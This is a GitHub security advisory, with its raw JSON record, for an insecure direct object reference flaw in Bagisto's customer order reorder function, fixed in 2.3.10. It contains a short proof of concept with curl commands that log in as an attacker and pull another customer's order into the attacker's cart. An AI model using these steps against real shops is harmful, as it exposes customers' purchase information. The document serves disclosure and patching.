GHSA-X5RW-QVVP-5CGM
Vulnerability from github – Published: 2026-01-02 22:50 – Updated: 2026-01-02 22:50Summary
An Insecure Direct Object Reference vulnerability in the customer order reorder function allows any authenticated customer to add items from another customer's order to their own shopping cart by manipulating the order ID parameter. This exposes sensitive purchase information and enables potential fraud.
Details
The vulnerability exists in the reorder method within OrderController.php. Unlike other order-related functions like view, cancel, printInvoice that properly validate customer ownership, the reorder function retrieves orders using only the order ID without verifying that the order belongs to the authenticated customer.
Code location: packages/Webkul/Shop/src/Http/Controllers/Customer/Account/OrderController.php
Exposed Route: packages/Webkul/Shop/src/Routes/customer-routes.php
Route::get('reorder/{id}', 'reorder')->name('shop.customers.account.orders.reorder');
PoC
I. Create victim account and place an order. II. Login as attacker. III. Exploit IDOR and navigate like: http://target.xxx/customer/account/orders/reorder/1 IV. Check http://target.xxx/checkout/cart and verify exploitation. V. Victim's order items are now in Attacker's cart.
PoC via curl:
curl -c cookies.txt -X POST "http://target.xxx/customer/login" -d "email=attacker@evil.com&password=123qwe"
curl -b cookies.txt "http://target.xxx/customer/account/orders/reorder/1"
curl -b cookies.txt "http://target/api/checkout/cart"
Impact
- Information Disclosure: Attackers can discover what products other customers have purchased.
- Potential Fraud: Attackers could potentially exploit this for social engineering or targeted attacks.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "bagisto/bagisto"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-21447"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-02T22:50:47Z",
"nvd_published_at": "2026-01-02T21:15:58Z",
"severity": "HIGH"
},
"details": "### Summary\n\nAn Insecure Direct Object Reference vulnerability in the customer order reorder function allows any authenticated customer to add items from another customer\u0027s order to their own shopping cart by manipulating the order ID parameter. This exposes sensitive purchase information and enables potential fraud.\n\n### Details\n\nThe vulnerability exists in the reorder method within OrderController.php. Unlike other order-related functions like view, cancel, printInvoice that properly validate customer ownership, the reorder function retrieves orders using only the order ID without verifying that the order belongs to the authenticated customer.\n\nCode location: `packages/Webkul/Shop/src/Http/Controllers/Customer/Account/OrderController.php`\n\nExposed Route: `packages/Webkul/Shop/src/Routes/customer-routes.php`\n\n```php\nRoute::get(\u0027reorder/{id}\u0027, \u0027reorder\u0027)-\u003ename(\u0027shop.customers.account.orders.reorder\u0027);\n```\n\n### PoC\n\nI. Create victim account and place an order.\nII. Login as attacker.\nIII. Exploit IDOR and navigate like: http://target.xxx/customer/account/orders/reorder/1\nIV. Check http://target.xxx/checkout/cart and verify exploitation.\nV. Victim\u0027s order items are now in Attacker\u0027s cart.\n\n###\u00a0PoC via curl:\n\n```\ncurl -c cookies.txt -X POST \"http://target.xxx/customer/login\" -d \"email=attacker@evil.com\u0026password=123qwe\"\n\ncurl -b cookies.txt \"http://target.xxx/customer/account/orders/reorder/1\"\n\ncurl -b cookies.txt \"http://target/api/checkout/cart\"\n```\n\n### Impact\n\n- **Information Disclosure:** Attackers can discover what products other customers have purchased.\n- **Potential Fraud:** Attackers could potentially exploit this for social engineering or targeted attacks.",
"id": "GHSA-x5rw-qvvp-5cgm",
"modified": "2026-01-02T22:50:47Z",
"published": "2026-01-02T22:50:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/bagisto/bagisto/security/advisories/GHSA-x5rw-qvvp-5cgm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21447"
},
{
"type": "WEB",
"url": "https://github.com/bagisto/bagisto/commit/b2b1cf62577245d03a68532478cffbe321df74d3"
},
{
"type": "PACKAGE",
"url": "https://github.com/bagisto/bagisto"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Bagisto has IDOR in Customer Order Reorder Functionality"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.